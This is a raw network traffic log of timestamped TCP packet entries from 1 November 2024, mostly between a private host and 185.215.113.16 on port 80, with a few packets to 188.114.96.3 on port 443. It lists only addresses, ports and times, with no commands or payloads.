Nov 1, 2024 05:53:14.794087887 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.794112921 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.794150114 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.794162989 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.794174910 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.794184923 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.794190884 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.794203043 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.794215918 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.794231892 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.794281006 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.794313908 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.829010010 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:14.829037905 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:14.829098940 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:14.829348087 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.829391003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.829407930 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.829420090 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.829444885 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.829457998 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.830034018 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:14.830049992 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:14.944077969 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944097996 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944149017 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944171906 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944212914 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944216013 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944228888 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944256067 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944271088 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944344997 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944364071 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944376945 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944391012 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944392920 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944422960 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944451094 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944539070 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944552898 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944582939 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944601059 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944701910 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944714069 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944725990 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944741011 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944741011 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944753885 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944755077 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.944780111 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944802999 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.944991112 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945003986 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945015907 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945028067 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945040941 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945039988 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945053101 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945065022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945067883 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945080042 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945091963 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945092916 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945122004 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945133924 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945307016 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945324898 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945338011 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945350885 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945365906 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945385933 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945386887 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945400953 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945414066 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945427895 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945427895 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945436954 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945441008 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945455074 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945461035 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945486069 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945904016 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945915937 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945929050 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945943117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945951939 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945955038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945965052 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945969105 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945981026 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.945992947 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.945993900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946007013 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946021080 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946021080 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946043015 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946054935 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946424961 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946436882 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946449041 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946461916 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946471930 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946475029 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946485996 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946487904 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946501970 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946506977 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946516037 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946523905 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946528912 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946543932 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946553946 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946557045 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946568012 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946577072 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946588993 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946598053 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946600914 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946614027 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946626902 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946628094 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946645021 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946645975 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946659088 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.946671009 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.946697950 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.947321892 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947335958 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947349072 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947361946 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947366953 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.947374105 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947381973 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.947386980 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947400093 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947412014 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947412968 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.947424889 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947438002 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947438955 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.947452068 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947458029 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.947467089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947472095 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.947480917 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947494030 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947503090 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.947506905 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947519064 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947530031 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.947532892 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947546005 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.947549105 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.947575092 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.947592974 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948270082 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948283911 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948296070 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948308945 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948318005 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948322058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948335886 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948343992 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948348045 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948360920 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948362112 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948374033 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948386908 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948389053 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948402882 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948405981 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948415041 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948421001 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948429108 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948440075 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948447943 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948452950 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948466063 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948474884 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948479891 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948493004 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948499918 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948508024 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.948513985 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948539972 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.948559046 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949242115 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949255943 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949268103 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949285030 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949285984 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949300051 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949304104 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949312925 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949326038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949327946 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949340105 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949354887 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949357033 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949369907 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949383020 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949383020 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949397087 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949397087 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949409008 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949420929 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949424028 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949434996 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949448109 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949449062 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949460983 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949474096 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949474096 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949484110 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949489117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949501038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.949510098 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949532986 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.949554920 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950212002 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950225115 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950237036 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950249910 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950256109 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950262070 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950270891 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950273991 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950289011 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950299978 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950303078 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950315952 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950326920 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950330019 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950340033 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950341940 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950354099 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950366974 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950370073 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950381041 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950390100 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950395107 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950406075 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950408936 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950423002 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950432062 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950436115 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950448990 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.950457096 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950474977 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.950498104 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.951060057 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.951072931 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.951085091 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.951098919 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.951105118 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.951111078 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.951118946 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.951127052 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.951138020 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.951139927 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.951154947 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.951174021 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.988042116 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.988056898 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.988094091 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.988116980 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.061634064 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061650038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061660051 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061666012 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061745882 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.061788082 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061799049 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061810970 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061816931 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061826944 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061834097 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.061837912 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061851978 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061856985 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.061865091 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.061914921 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.061914921 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062144041 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062155962 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062190056 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062201977 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062216043 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062227011 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062237024 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062248945 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062261105 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062262058 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062273979 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062277079 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062284946 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062295914 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062308073 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062309980 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062335968 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062400103 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062411070 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062421083 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062432051 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062443018 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062443018 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062446117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062473059 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062504053 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062932014 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062942982 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062952042 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062963963 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062975883 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.062984943 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.062985897 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063009977 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063020945 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063111067 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063122988 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063132048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063143015 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063153982 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063163996 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063164949 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063175917 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063185930 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063186884 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063198090 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063209057 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063210011 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063220024 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063225031 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063237906 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063266039 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063716888 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063760996 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.063895941 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.063906908 CET	80	49987	185.215.113.16	192.168.2.5
